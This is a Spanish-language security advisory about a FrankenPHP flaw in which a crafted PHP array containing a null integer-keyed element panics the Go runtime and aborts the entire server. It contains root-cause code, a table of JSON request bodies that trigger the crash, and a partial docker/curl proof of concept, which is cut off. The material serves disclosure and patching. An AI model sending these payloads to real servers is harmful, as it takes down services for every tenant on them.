GHSA-4PRG-HV4R-G6MV
FrankenPHP aborta todo el proceso del servidor al registrar un array manipulado
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-4PRG-HV4R-G6MV divulgada · CVSS 5.9 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Remediación | Parche v1.13.0 | github.com/dunglas/frankenphp · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resumen
`types.go` de `goArray()` realiza una aserción de tipo de interfaz sin verificación en la rama que maneja los buckets sin clave de cadena, es decir, los elementos con clave entera de una tabla hash de Zend no empaquetada:
// types.go:156-161
// as fallback convert the bucket index to a string key
strIndex := strconv.Itoa(int(bucket.h))
entries[strIndex] = v.(T) // ← types.go:158, no nil guard`goValue()` reporta un `null` de PHP como una interfaz nil (`types.go:278` / `types.go:355`), y `v.(T)` entra en pánico con una interfaz nil para cualquier `T`, incluido `any`. La rama de clave de cadena, unas líneas más arriba, sí protege este caso (`types.go:143-147`, `entries[keyStr] = v.(T)` solo en el `else` de `if v == nil`); el respaldo para claves enteras no lo hace.
El pánico se produce dentro de un callback de cgo: Go no puede desenrollar la pila hacia C, y una búsqueda en todo el repositorio de `recover()` devuelve cero apariciones (tanto en código de producción como de pruebas). El resultado no es una solicitud fallida, sino un aborto de todo el proceso (código de salida 2), que derriba todos los vhosts, todos los inquilinos y todas las solicitudes en curso atendidas por esa instancia.
Tres rutas de producción llegan a este punto. Las rutas 1 y 2 están verificadas de extremo a extremo aquí (compiladas, ejecutadas y con el aborto del proceso observado); la ruta 3 es el mismo camino de código alcanzado desde la API de extensiones documentada, solo verificada mediante documentación:
- `frankenphp_log()`: la API de registro estructurado documentada (`frankenphp.stub.php:52-56`) → `frankenphp.c:1012` → `frankenphp.go:767` `GoMap[any]()` → `types.go:82` → `types.go:158`.
- El valor de retorno de un callback de worker: `frankenphp.c:925` → `threadworker.go:284` `GoValue[any]()` → `types.go:345` → `types.go:158`. Nótese que en un despliegue de worker de Caddy común, este valor de retorno no lo consume nadie (solo `SendMessage` de la API de extensiones en Go lo lee), pero devolver ese array igualmente mata el proceso.
- La API de extensiones documentada: `docs/extensions.md:225-237` muestra una función PHP exportada declarada como `process_data_unordered(array $input)` cuyo cuerpo es `frankenphp.GoMap[any](unsafe.Pointer(arr))`; cualquier extensión en Go que acepte un array de PHP desde la aplicación o la solicitud y lo convierta con la llamada documentada hereda el mismo fallo.
Detalles
Causa raíz
`goValue()` no puede señalar "esto era un null" mediante su valor de error de retorno: un `null` se convierte en un `any` nil con `err == nil`:
// types.go:276-278
case C.IS_NULL:
resAny = any(nil)
...
// types.go:355-357
if resAny == nil {
return resZero, nil // nil interface, err == nil
}`goArray()` luego trata los dos tipos de bucket de forma asimétrica:
// types.go:130-162 (abreviado)
for i := C.uint32_t(0); i < nNumUsed; i++ {
bucket := C.get_ht_bucket_data(array, i)
if bucket == nil || C.zval_get_type(&bucket.val) == C.IS_UNDEF {
continue
}
v, err := goValue[any](&bucket.val)
if err != nil {
return nil, nil, err
}
if bucket.key != nil { // string key → guarded
keyStr := GoString(unsafe.Pointer(bucket.key))
if v == nil {
entries[keyStr] = zeroVal
} else {
entries[keyStr] = v.(T) // types.go:146
}
if ordered { order = append(order, keyStr) }
continue
}
// as fallback convert the bucket index to a string key
strIndex := strconv.Itoa(int(bucket.h))
entries[strIndex] = v.(T) // types.go:158 — UNGUARDED
if ordered { order = append(order, strIndex) }
}Zend almacena las claves enteras en el campo `h` del bucket y deja `key == NULL`:
typedef struct _Bucket {
zval val;
zend_ulong h; /* hash value (or numeric index) */
zend_string *key; /* string key or NULL for numerics */
} Bucket;por lo que cualquier elemento con clave entera de una tabla hash real (no empaquetada) toma la rama sin protección. La rama `packed` de `types.go:105-126` es segura por otro motivo: asigna `e, err := goValue[T](v)` directamente en el mapa, sin aserción de tipo, por lo que este defecto queda confinado a la ruta de claves enteras no empaquetadas. Tanto los comentarios citados como la frontera empaquetado/hash se verificaron contra php-src: `_zend_hash_index_add_or_update_i` almacena un índice numérico por debajo de `nTableSize` (8 para un array nuevo) como slot empaquetado y rellena el hueco con `ZVAL_UNDEF` (`zend_hash.c:1104-1137`), mientras que una clave >= 8 sin una heurística de crecimiento coincidente llama a `zend_hash_packed_to_hash()` (`zend_hash.c:1146-1155`); insertar cualquier clave de cadena también convierte la tabla. El comportamiento medido coincide exactamente con esto; véase la tabla de desencadenantes más abajo (las claves 0-7 sobreviven, las >= 8 provocan el aborto).
`v.(T)` sobre una interfaz nil entra en pánico por definición del lenguaje; verificado en Go 1.27:
recovered: interface conversion: interface is nil, not interface {}El propio contrato de la API indica claramente la intención: se supone que informa de los fallos de conversión en lugar de morir. `frankenphp.go:767-769` ya devuelve `"Failed to log message: converting attrs: …"` como excepción de PHP en la ruta de `err`, y `frankenphp.stub.php:54` documenta `$context` como valores que "will be converted to the corresponding Go type (if supported by FrankenPHP)".
Por qué muere el proceso en lugar de fallar la solicitud
- El pánico ocurre en una función de Go llamada desde C (el bucle de hilos de PHP); Go no puede desenrollar los marcos de C, así que el runtime imprime el volcado de la goroutine y termina.
- No existe ningún `recover()` en todo el repositorio (verificado con grep: cero apariciones en código de producción y de pruebas).
- Resultado observado de una única solicitud HTTP: el proceso principal del contenedor `Running=false exit=2`; el cliente ve `curl: (52) Empty reply from server`.
Condiciones de activación (medidas)
El array debe ser una tabla hash real y no un array empaquetado, y debe contener un elemento con clave entera cuyo valor sea `null`. Cualquiera de estas dos condiciones convierte el array en una tabla hash real: (a) cualquier clave de cadena en cualquier parte del array, o (b) una clave numérica que Zend no puede mantener como slot empaquetado. Para un array nuevo `nTableSize` es 8, así que una clave numérica única `>= 8` convierte la tabla (`zend_hash.c:1146-1155`), mientras que las claves `< 8` se almacenan como slots empaquetados con huecos `IS_UNDEF` y, por lo tanto, la rama empaquetada, que no usa aserciones, las omite. La carga útil puede anidarse a cualquier profundidad, porque `goValue()` recorre recursivamente los arrays anidados (`types.go:345`).
| Cuerpo de la solicitud (`json_decode($body, true)`) | Forma interna de PHP | Resultado |
|---|---|---|
| `{"a":1,"2":null}` | hash con claves mixtas | aborto del proceso |
| `{"a":1,"0":null}` | hash con claves mixtas | aborto del proceso |
| `{"x":9,"1":null}` | hash con claves mixtas | aborto del proceso |
| `{"a":1,"10":null}` | hash con claves mixtas | aborto del proceso |
| `{"a":1,"-1":null}` | hash con claves mixtas | aborto del proceso |
| `{"a":1,"1":null,"b":2}` | hash con claves mixtas | aborto del proceso |
| `["x",{"a":1,"0":null}]` | externo empaquetado, interno hash | aborto del proceso |
| `{"a":{"b":1,"0":null}}` | externo empaquetado, interno hash | aborto del proceso |
| `{"2":null}` | clave numérica única < 8 → slot empaquetado con huecos `IS_UNDEF` | sobrevive |
| `{"8":null}`, `{"9":null}`, `{"10":null}`, `{"12":null}` | clave numérica única >= 8 → `zend_hash_packed_to_hash()` | aborto del proceso |
| `{"0":null,"1":null}`, `[null]`, `[]` | empaquetado | sobrevive |
| `{"a":null}` | solo clave de cadena | sobrevive (rama protegida) |
| `{"a":1,"2":"x"}` | clave entera, valor no nulo | sobrevive |
Son necesarios tanto el `null` como una clave entera: un null con clave de cadena toma la rama protegida, una clave entera con valor no nulo hace que la aserción tenga éxito, y un null con clave entera empaquetada (claves 0-7 sin clave de cadena en el array) lo gestiona la rama empaquetada, que no usa aserciones. Obsérvense las filas de anidamiento y las de clave única: filtrar solo los campos de primer nivel no es una mitigación, y un objeto de un solo campo, como `{"8":null}`, ya es suficiente.
PoC
A. `php_server` (sin worker): la configuración del manejador por defecto
{
frankenphp
}
:80 {
root * /app/public
php_server
}Sobre este Caddyfile. Es la forma *mínima*: solo importan el bloque global de la app `frankenphp` y `php_server`.
`/app/public/logapi.php`: registro estructurado habitual del cuerpo de la solicitud decodificado:
<?php
$data = json_decode(file_get_contents('php://input'), true) ?? [];
frankenphp_log('request', FRANKENPHP_LOG_LEVEL_INFO, is_array($data) ? $data : []);
echo "handled-ok\n";```console
$ docker run -d --name fp-poc -p 8080:80 dunglas/frankenphp:latest
$ docker cp logapi.php fp-poc:/app/public/logapi.php
$ docker cp Caddyfile fp-poc:/etc/frankenphp/Caddyfile
$ docker restart fp-poc
$ docker exec fp-poc frankenphp version
FrankenPHP v1.12.7 PHP 8.5.9 Caddy v2.11.4
# benign body: 200, logged normally
$ curl -i -X POST -H 'Content-Type: application/json' \
--data-binary '{"a":1,"b":2}' http://127.0.0.1:8080/logapi.php
handled-ok
HTTP/1.1 200 OK
$ docker
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/dunglas/frankenphp |
Corregida | v1.13.0 | 0 d | v1.13.6 no afectada |
v1.13.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/php/frankenphp/security/advisories/GHSA-4prg-hv4r-g6mvLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
